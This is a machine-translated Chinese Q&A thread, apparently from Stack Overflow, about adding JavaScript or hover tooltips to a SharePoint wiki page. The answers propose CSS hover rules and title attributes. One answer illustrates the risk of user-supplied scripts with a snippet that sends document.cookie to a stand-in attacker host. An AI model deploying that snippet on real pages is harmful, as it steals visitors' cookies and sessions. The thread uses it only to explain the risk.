作为维基管理员,我怎样才能将脚本(Javascript)输入Sharepoint wiki页面?
我想输入一个标题,点击它时,在它下面显示一个小的解释。我通常使用JavaScript,任何其他想法做到这一点?如何在wiki页面输入Javascript?
回答
假设您是wiki的管理员,并且愿意在鼠标悬停而不是点击上显示此内容,则根本不需要JavaScript - 您可以使用直接CSS。这里的的风格和标记的例子:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
对于一些更复杂的风格,你的工具提示框,可以看起来不错,只要你愿意。
这听起来像是一种安全风险。维基管理员似乎可以安装脚本,请参阅wikipedia's user scripts。
您应该无法为任何公开wiki添加JavaScript代码。如果您自己托管它,那么您需要请求一个特定的wiki系统,以便有人可以帮助您修改设置 - 如果可能的话对于该系统。
如果你在谈论使用Javascript在该网站网页的一部分,你不能。或者任何其他公开的wiki - 这是一个安全风险。
如果你在谈论张贴代码示例,请点击文本框上方的“101010”按钮。
这当然取决于您正在与之交谈的wiki引擎。正如sblundy所说,尽管如此,最有可能在wiki页面上允许免费使用javascript的安全风险。
它完全取决于您使用的特定Wiki软件。我见过的工作方式是在其他地方托管一个js文件,然后包含一个带有src属性的脚本标签。
如果他们不允许,也许他们允许,你可以设置为一个包含脚本的网页的IFRAME。使用第二种技术,您将不被允许访问主机页面的DOM。
添加title="text here"
任何标签,并在其上悬停时,它应显示文本。
当您使用alt="text here"
属性时,Internet Explorer将显示文本,尽管这不符合标准。
我现在测试,你可以添加<h2 title="some explanation here">headline</h2>
基于维基的任何系统(在一个维基百科使用)。
如果维基作者是明智的,有可能是没有办法做到这一点。
用户提供的JavaScript的问题在于,它为所有形式的邪恶者打开了从毫无防备的数据中获取数据的大门。
让我们假设邪恶 - 我张贴的脚本在公共网站:
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
现在我将收到每个访问者的页面的cookie信息,贴到我的服务器上的日志。这只是冰山一角。
我喜欢CSS答案。当你可以使用CSS而不是Javascript时,它会产生更简单的标记。
另一个需要研究的问题是Codeplex上的SharePoint增强版Wiki社区工具包。您可以下载源代码并添加自己的功能。或者您可以将其作为论坛中的一项新功能。
- 1. 如何在GitHub wiki页面插入javascript以启用MathJax?
- 2. 如何在wiki中创建子页面到父页面
- 3. SharePoint 2010的Wiki网页库 - 限制插入Web部件在Wiki页面
- 4. Sharepoint 2007 Wiki页面编程 - 输入验证
- 5. 列出wiki`Home`页面上的所有wiki页面
- 6. 在wiki页面中列出组件 - 或在wiki页面中显示报告的输出
- 7. Grails - 如何将wiki页面嵌入到Grails应用程序
- 8. 如何在页面加载运行javascript和测试输入
- 9. 如何在页面加载时清空输入字段WITH JAVASCRIPT
- 10. 如何在asp.net页面上写入javascript
- 11. 如何在redmine的另一个wiki页面中包含附件列表的wiki页面?
- 12. 在我的Redmine wiki页面中获取wiki标题
- 13. 来自页面的JavaScript变量输入?
- 14. 在gitlab wiki中观看页面
- 15. 如何在Confluence wiki上为页面创建可搜索属性?
- 16. 如何在FogBugz wiki页面中创建HTML锚点?
- 17. 如何在Django wiki中动态创建新页面?
- 18. 如何排除某个wiki页面出现在trac搜索中?
- 19. 如何在Sharepoint 2007 wiki页面中自动创建目录?
- 20. 如何在github wiki页面中制作“spoiler”文本?
- 21. 如何从PHP页面输入python
- 22. wordpress:如何把一个输入页面?
- 23. 如何使用Wiki扩展(WPMW)内的Wiki Media API工具将内容写入/添加到页面
- 24. 无法将自定义wiki页面添加到wiki库
- 25. 如何隐藏某些页面的GitHubs wiki页面上的侧边栏?
- 26. 如何将页面设置为Google Code上的默认wiki页面?
- 27. 如何在javascript测验页面中添加其他(输入文本选项)
- 28. 如何获得满载页面(用JavaScript)的HTML作为输入在Java中?
- 29. Phabricator Wiki(Phriction)页面没有菜单
- 30. 从更新或添加的wiki页面
你是维基网站管理员还是其他用户。 – sblundy 2008-09-17 21:15:36
这改变了一切。请更新您的问题并加入您的wiki平台。 – sblundy 2008-09-17 21:21:51